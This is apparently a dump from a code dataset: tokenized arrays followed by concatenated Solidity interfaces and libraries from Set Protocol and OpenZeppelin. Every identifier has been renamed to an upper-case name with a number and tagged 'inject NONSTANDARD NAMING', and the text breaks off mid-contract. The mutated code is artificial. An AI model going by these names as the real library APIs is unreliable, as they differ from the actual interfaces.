0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
444,
8018,
12,
11890,
5034,
389,
12398,
13,
3903,
1338,
5541,
288,
203,
3639,
6991,
273,
389,
12398,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x00000000000006c7676171937C444f6BDe3D6282/sources/contracts/helpers/PointerLibraries.sol | @dev Reads the int144 at `cdPtr` in calldata. | function readInt144(
CalldataPointer cdPtr
) internal pure returns (int144 value) {
assembly {
value := calldataload(cdPtr)
}
}
| 4,300,310 | [
1,
7483,
326,
509,
25339,
622,
1375,
4315,
5263,
68,
316,
745,
892,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
13731,
25339,
12,
203,
3639,
3049,
892,
4926,
7976,
5263,
203,
565,
262,
2713,
16618,
1135,
261,
474,
25339,
460,
13,
288,
203,
3639,
19931,
288,
203,
5411,
460,
519,
745,
72,
3145,
6189,
12,
4315,
5263,
13,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/4/0xAb09D3A9998c918Ffa796F6449D8515e5C7DB8a2/sources/DOSProxy.sol | in blocks, ~23.33 min
| uint public refreshSystemRandomHardLimit = 100; | 8,503,827 | [
1,
267,
4398,
16,
4871,
4366,
18,
3707,
1131,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
1071,
4460,
3163,
8529,
29601,
3039,
273,
2130,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.5.7;
interface ICore {
function TRANSFERPROXY290() //inject NONSTANDARD NAMING
external
view
returns (address);
function VAULT497() //inject NONSTANDARD NAMING
external
view
returns (address);
function EXCHANGEIDS396( //inject NONSTANDARD NAMING
uint8 _exchangeId
)
external
view
returns (address);
function VALIDSETS319(address) //inject NONSTANDARD NAMING
external
view
returns (bool);
function VALIDMODULES100(address) //inject NONSTANDARD NAMING
external
view
returns (bool);
function VALIDPRICELIBRARIES391( //inject NONSTANDARD NAMING
address _priceLibrary
)
external
view
returns (bool);
function ISSUE203( //inject NONSTANDARD NAMING
address _set,
uint256 _quantity
)
external;
function ISSUETO740( //inject NONSTANDARD NAMING
address _recipient,
address _set,
uint256 _quantity
)
external;
function ISSUEINVAULT15( //inject NONSTANDARD NAMING
address _set,
uint256 _quantity
)
external;
function REDEEM524( //inject NONSTANDARD NAMING
address _set,
uint256 _quantity
)
external;
function REDEEMTO270( //inject NONSTANDARD NAMING
address _recipient,
address _set,
uint256 _quantity
)
external;
function REDEEMINVAULT358( //inject NONSTANDARD NAMING
address _set,
uint256 _quantity
)
external;
function REDEEMANDWITHDRAWTO873( //inject NONSTANDARD NAMING
address _set,
address _to,
uint256 _quantity,
uint256 _toExclude
)
external;
function BATCHDEPOSIT892( //inject NONSTANDARD NAMING
address[] calldata _tokens,
uint256[] calldata _quantities
)
external;
function BATCHWITHDRAW872( //inject NONSTANDARD NAMING
address[] calldata _tokens,
uint256[] calldata _quantities
)
external;
function DEPOSIT357( //inject NONSTANDARD NAMING
address _token,
uint256 _quantity
)
external;
function WITHDRAW715( //inject NONSTANDARD NAMING
address _token,
uint256 _quantity
)
external;
function INTERNALTRANSFER147( //inject NONSTANDARD NAMING
address _token,
address _to,
uint256 _quantity
)
external;
function CREATESET426( //inject NONSTANDARD NAMING
address _factory,
address[] calldata _components,
uint256[] calldata _units,
uint256 _naturalUnit,
bytes32 _name,
bytes32 _symbol,
bytes calldata _callData
)
external
returns (address);
function DEPOSITMODULE827( //inject NONSTANDARD NAMING
address _from,
address _to,
address _token,
uint256 _quantity
)
external;
function WITHDRAWMODULE670( //inject NONSTANDARD NAMING
address _from,
address _to,
address _token,
uint256 _quantity
)
external;
function BATCHDEPOSITMODULE88( //inject NONSTANDARD NAMING
address _from,
address _to,
address[] calldata _tokens,
uint256[] calldata _quantities
)
external;
function BATCHWITHDRAWMODULE533( //inject NONSTANDARD NAMING
address _from,
address _to,
address[] calldata _tokens,
uint256[] calldata _quantities
)
external;
function ISSUEMODULE367( //inject NONSTANDARD NAMING
address _owner,
address _recipient,
address _set,
uint256 _quantity
)
external;
function REDEEMMODULE605( //inject NONSTANDARD NAMING
address _burnAddress,
address _incrementAddress,
address _set,
uint256 _quantity
)
external;
function BATCHINCREMENTTOKENOWNERMODULE149( //inject NONSTANDARD NAMING
address[] calldata _tokens,
address _owner,
uint256[] calldata _quantities
)
external;
function BATCHDECREMENTTOKENOWNERMODULE440( //inject NONSTANDARD NAMING
address[] calldata _tokens,
address _owner,
uint256[] calldata _quantities
)
external;
function BATCHTRANSFERBALANCEMODULE930( //inject NONSTANDARD NAMING
address[] calldata _tokens,
address _from,
address _to,
uint256[] calldata _quantities
)
external;
function TRANSFERMODULE315( //inject NONSTANDARD NAMING
address _token,
uint256 _quantity,
address _from,
address _to
)
external;
function BATCHTRANSFERMODULE23( //inject NONSTANDARD NAMING
address[] calldata _tokens,
uint256[] calldata _quantities,
address _from,
address _to
)
external;
}
// File: set-protocol-contracts/contracts/core/lib/RebalancingLibrary.sol
pragma solidity 0.5.7;
library RebalancingLibrary {
enum State { Default, Proposal, Rebalance, Drawdown }
struct AuctionPriceParameters {
uint256 auctionStartTime;
uint256 auctionTimeToPivot;
uint256 auctionStartPrice;
uint256 auctionPivotPrice;
}
struct BiddingParameters {
uint256 minimumBid;
uint256 remainingCurrentSets;
uint256[] combinedCurrentUnits;
uint256[] combinedNextSetUnits;
address[] combinedTokenArray;
}
}
// File: set-protocol-contracts/contracts/core/interfaces/IFeeCalculator.sol
pragma solidity 0.5.7;
interface IFeeCalculator {
function INITIALIZE627( //inject NONSTANDARD NAMING
bytes calldata _feeCalculatorData
)
external;
function GETFEE645() //inject NONSTANDARD NAMING
external
view
returns(uint256);
function UPDATEANDGETFEE787() //inject NONSTANDARD NAMING
external
returns(uint256);
function ADJUSTFEE487( //inject NONSTANDARD NAMING
bytes calldata _newFeeData
)
external;
}
// File: set-protocol-contracts/contracts/core/interfaces/ISetToken.sol
pragma solidity 0.5.7;
interface ISetToken {
function NATURALUNIT908() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function GETCOMPONENTS458() //inject NONSTANDARD NAMING
external
view
returns (address[] memory);
function GETUNITS229() //inject NONSTANDARD NAMING
external
view
returns (uint256[] memory);
function TOKENISCOMPONENT45( //inject NONSTANDARD NAMING
address _tokenAddress
)
external
view
returns (bool);
function MINT918( //inject NONSTANDARD NAMING
address _issuer,
uint256 _quantity
)
external;
function BURN396( //inject NONSTANDARD NAMING
address _from,
uint256 _quantity
)
external;
function TRANSFER558( //inject NONSTANDARD NAMING
address to,
uint256 value
)
external;
}
// File: set-protocol-contracts/contracts/core/interfaces/IRebalancingSetToken.sol
pragma solidity 0.5.7;
interface IRebalancingSetToken {
function AUCTIONLIBRARY983() //inject NONSTANDARD NAMING
external
view
returns (address);
function TOTALSUPPLY978() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function PROPOSALSTARTTIME533() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function LASTREBALANCETIMESTAMP491() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEINTERVAL619() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCESTATE812() //inject NONSTANDARD NAMING
external
view
returns (RebalancingLibrary.State);
function STARTINGCURRENTSETAMOUNT132() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function BALANCEOF827( //inject NONSTANDARD NAMING
address owner
)
external
view
returns (uint256);
function PROPOSE395( //inject NONSTANDARD NAMING
address _nextSet,
address _auctionLibrary,
uint256 _auctionTimeToPivot,
uint256 _auctionStartPrice,
uint256 _auctionPivotPrice
)
external;
function NATURALUNIT908() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function CURRENTSET165() //inject NONSTANDARD NAMING
external
view
returns (address);
function NEXTSET94() //inject NONSTANDARD NAMING
external
view
returns (address);
function UNITSHARES97() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function BURN396( //inject NONSTANDARD NAMING
address _from,
uint256 _quantity
)
external;
function PLACEBID341( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
returns (address[] memory, uint256[] memory, uint256[] memory);
function GETCOMBINEDTOKENARRAYLENGTH557() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function GETCOMBINEDTOKENARRAY587() //inject NONSTANDARD NAMING
external
view
returns (address[] memory);
function GETFAILEDAUCTIONWITHDRAWCOMPONENTS419() //inject NONSTANDARD NAMING
external
view
returns (address[] memory);
function GETAUCTIONPRICEPARAMETERS272() //inject NONSTANDARD NAMING
external
view
returns (uint256[] memory);
function GETBIDDINGPARAMETERS33() //inject NONSTANDARD NAMING
external
view
returns (uint256[] memory);
function GETBIDPRICE601( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
view
returns (uint256[] memory, uint256[] memory);
}
// File: set-protocol-contracts/contracts/core/lib/Rebalance.sol
pragma solidity 0.5.7;
library Rebalance {
struct TokenFlow {
address[] addresses;
uint256[] inflow;
uint256[] outflow;
}
function COMPOSETOKENFLOW703( //inject NONSTANDARD NAMING
address[] memory _addresses,
uint256[] memory _inflow,
uint256[] memory _outflow
)
internal
pure
returns(TokenFlow memory)
{
return TokenFlow({addresses: _addresses, inflow: _inflow, outflow: _outflow });
}
function DECOMPOSETOKENFLOW508(TokenFlow memory _tokenFlow) //inject NONSTANDARD NAMING
internal
pure
returns (address[] memory, uint256[] memory, uint256[] memory)
{
return (_tokenFlow.addresses, _tokenFlow.inflow, _tokenFlow.outflow);
}
function DECOMPOSETOKENFLOWTOBIDPRICE741(TokenFlow memory _tokenFlow) //inject NONSTANDARD NAMING
internal
pure
returns (uint256[] memory, uint256[] memory)
{
return (_tokenFlow.inflow, _tokenFlow.outflow);
}
function GETTOKENFLOWS792( //inject NONSTANDARD NAMING
IRebalancingSetToken _rebalancingSetToken,
uint256 _quantity
)
internal
view
returns (address[] memory, uint256[] memory, uint256[] memory)
{
// Get token addresses
address[] memory combinedTokenArray = _rebalancingSetToken.GETCOMBINEDTOKENARRAY587();
// Get inflow and outflow arrays for the given bid quantity
(
uint256[] memory inflowArray,
uint256[] memory outflowArray
) = _rebalancingSetToken.GETBIDPRICE601(_quantity);
return (combinedTokenArray, inflowArray, outflowArray);
}
}
// File: set-protocol-contracts/contracts/core/interfaces/ILiquidator.sol
pragma solidity 0.5.7;
interface ILiquidator {
function STARTREBALANCE53( //inject NONSTANDARD NAMING
ISetToken _currentSet,
ISetToken _nextSet,
uint256 _startingCurrentSetQuantity,
bytes calldata _liquidatorData
)
external;
function GETBIDPRICE601( //inject NONSTANDARD NAMING
address _set,
uint256 _quantity
)
external
view
returns (Rebalance.TokenFlow memory);
function PLACEBID341( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
returns (Rebalance.TokenFlow memory);
function SETTLEREBALANCE859() //inject NONSTANDARD NAMING
external;
function ENDFAILEDREBALANCE906() external; //inject NONSTANDARD NAMING
// ----------------------------------------------------------------------
// Auction Price
// ----------------------------------------------------------------------
function AUCTIONPRICEPARAMETERS855(address _set) //inject NONSTANDARD NAMING
external
view
returns (RebalancingLibrary.AuctionPriceParameters memory);
// ----------------------------------------------------------------------
// Auction
// ----------------------------------------------------------------------
function HASREBALANCEFAILED531(address _set) external view returns (bool); //inject NONSTANDARD NAMING
function MINIMUMBID335(address _set) external view returns (uint256); //inject NONSTANDARD NAMING
function STARTINGCURRENTSETS972(address _set) external view returns (uint256); //inject NONSTANDARD NAMING
function REMAININGCURRENTSETS800(address _set) external view returns (uint256); //inject NONSTANDARD NAMING
function GETCOMBINEDCURRENTSETUNITS997(address _set) external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETCOMBINEDNEXTSETUNITS743(address _set) external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETCOMBINEDTOKENARRAY587(address _set) external view returns (address[] memory); //inject NONSTANDARD NAMING
}
// File: set-protocol-contracts/contracts/core/interfaces/IRebalancingSetTokenV2.sol
pragma solidity 0.5.7;
interface IRebalancingSetTokenV2 {
function TOTALSUPPLY978() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function LIQUIDATOR933() //inject NONSTANDARD NAMING
external
view
returns (ILiquidator);
function LASTREBALANCETIMESTAMP491() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCESTARTTIME708() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function STARTINGCURRENTSETAMOUNT132() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEINTERVAL619() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function GETAUCTIONPRICEPARAMETERS272() external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETBIDDINGPARAMETERS33() external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function REBALANCESTATE812() //inject NONSTANDARD NAMING
external
view
returns (RebalancingLibrary.State);
function BALANCEOF827( //inject NONSTANDARD NAMING
address owner
)
external
view
returns (uint256);
function MANAGER161() //inject NONSTANDARD NAMING
external
view
returns (address);
function FEERECIPIENT200() //inject NONSTANDARD NAMING
external
view
returns (address);
function ENTRYFEE977() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEFEE979() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEFEECALCULATOR847() //inject NONSTANDARD NAMING
external
view
returns (IFeeCalculator);
function INITIALIZE627( //inject NONSTANDARD NAMING
bytes calldata _rebalanceFeeCalldata
)
external;
function SETLIQUIDATOR462( //inject NONSTANDARD NAMING
ILiquidator _newLiquidator
)
external;
function SETFEERECIPIENT786( //inject NONSTANDARD NAMING
address _newFeeRecipient
)
external;
function SETENTRYFEE61( //inject NONSTANDARD NAMING
uint256 _newEntryFee
)
external;
function STARTREBALANCE53( //inject NONSTANDARD NAMING
address _nextSet,
bytes calldata _liquidatorData
)
external;
function SETTLEREBALANCE859() //inject NONSTANDARD NAMING
external;
function NATURALUNIT908() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function CURRENTSET165() //inject NONSTANDARD NAMING
external
view
returns (ISetToken);
function NEXTSET94() //inject NONSTANDARD NAMING
external
view
returns (ISetToken);
function UNITSHARES97() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function PLACEBID341( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
returns (address[] memory, uint256[] memory, uint256[] memory);
function GETBIDPRICE601( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
view
returns (uint256[] memory, uint256[] memory);
function NAME118() //inject NONSTANDARD NAMING
external
view
returns (string memory);
function SYMBOL994() //inject NONSTANDARD NAMING
external
view
returns (string memory);
}
// File: set-protocol-contracts/contracts/core/interfaces/IRebalancingSetTokenV3.sol
pragma solidity 0.5.7;
interface IRebalancingSetTokenV3 {
function TOTALSUPPLY978() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function LIQUIDATOR933() //inject NONSTANDARD NAMING
external
view
returns (ILiquidator);
function LASTREBALANCETIMESTAMP491() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCESTARTTIME708() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function STARTINGCURRENTSETAMOUNT132() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEINTERVAL619() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function GETAUCTIONPRICEPARAMETERS272() external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETBIDDINGPARAMETERS33() external view returns (uint256[] memory); //inject NONSTANDARD NAMING
function REBALANCESTATE812() //inject NONSTANDARD NAMING
external
view
returns (RebalancingLibrary.State);
function BALANCEOF827( //inject NONSTANDARD NAMING
address owner
)
external
view
returns (uint256);
function MANAGER161() //inject NONSTANDARD NAMING
external
view
returns (address);
function FEERECIPIENT200() //inject NONSTANDARD NAMING
external
view
returns (address);
function ENTRYFEE977() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEFEE979() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function REBALANCEFEECALCULATOR847() //inject NONSTANDARD NAMING
external
view
returns (IFeeCalculator);
function INITIALIZE627( //inject NONSTANDARD NAMING
bytes calldata _rebalanceFeeCalldata
)
external;
function SETLIQUIDATOR462( //inject NONSTANDARD NAMING
ILiquidator _newLiquidator
)
external;
function SETFEERECIPIENT786( //inject NONSTANDARD NAMING
address _newFeeRecipient
)
external;
function SETENTRYFEE61( //inject NONSTANDARD NAMING
uint256 _newEntryFee
)
external;
function STARTREBALANCE53( //inject NONSTANDARD NAMING
address _nextSet,
bytes calldata _liquidatorData
)
external;
function SETTLEREBALANCE859() //inject NONSTANDARD NAMING
external;
function ACTUALIZEFEE454() //inject NONSTANDARD NAMING
external;
function ADJUSTFEE487( //inject NONSTANDARD NAMING
bytes calldata _newFeeData
)
external;
function NATURALUNIT908() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function CURRENTSET165() //inject NONSTANDARD NAMING
external
view
returns (ISetToken);
function NEXTSET94() //inject NONSTANDARD NAMING
external
view
returns (ISetToken);
function UNITSHARES97() //inject NONSTANDARD NAMING
external
view
returns (uint256);
function PLACEBID341( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
returns (address[] memory, uint256[] memory, uint256[] memory);
function GETBIDPRICE601( //inject NONSTANDARD NAMING
uint256 _quantity
)
external
view
returns (uint256[] memory, uint256[] memory);
function NAME118() //inject NONSTANDARD NAMING
external
view
returns (string memory);
function SYMBOL994() //inject NONSTANDARD NAMING
external
view
returns (string memory);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.5.2;
library SafeMath {
function MUL940(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function DIV983(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function SUB806(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a);
uint256 c = a - b;
return c;
}
function ADD949(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a);
return c;
}
function MOD276(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OWNERSHIPTRANSFERRED84(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
constructor () internal {
_owner = msg.sender;
emit OWNERSHIPTRANSFERRED84(address(0), _owner);
}
function OWNER334() public view returns (address) { //inject NONSTANDARD NAMING
return _owner;
}
modifier ONLYOWNER733() { //inject NONSTANDARD NAMING
require(ISOWNER347());
_;
}
function ISOWNER347() public view returns (bool) { //inject NONSTANDARD NAMING
return msg.sender == _owner;
}
function RENOUNCEOWNERSHIP178() public ONLYOWNER733 { //inject NONSTANDARD NAMING
emit OWNERSHIPTRANSFERRED84(_owner, address(0));
_owner = address(0);
}
function TRANSFEROWNERSHIP217(address newOwner) public ONLYOWNER733 { //inject NONSTANDARD NAMING
_TRANSFEROWNERSHIP828(newOwner);
}
function _TRANSFEROWNERSHIP828(address newOwner) internal { //inject NONSTANDARD NAMING
require(newOwner != address(0));
emit OWNERSHIPTRANSFERRED84(_owner, newOwner);
_owner = newOwner;
}
}
// File: set-protocol-contracts/contracts/lib/TimeLockUpgrade.sol
pragma solidity 0.5.7;
contract TimeLockUpgrade is
Ownable
{
using SafeMath for uint256;
// Timelock Upgrade Period in seconds
uint256 public timeLockPeriod;
// Mapping of upgradable units and initialized timelock
mapping(bytes32 => uint256) public timeLockedUpgrades;
event UPGRADEREGISTERED246( //inject NONSTANDARD NAMING
bytes32 _upgradeHash,
uint256 _timestamp
);
modifier TIMELOCKUPGRADE701() { //inject NONSTANDARD NAMING
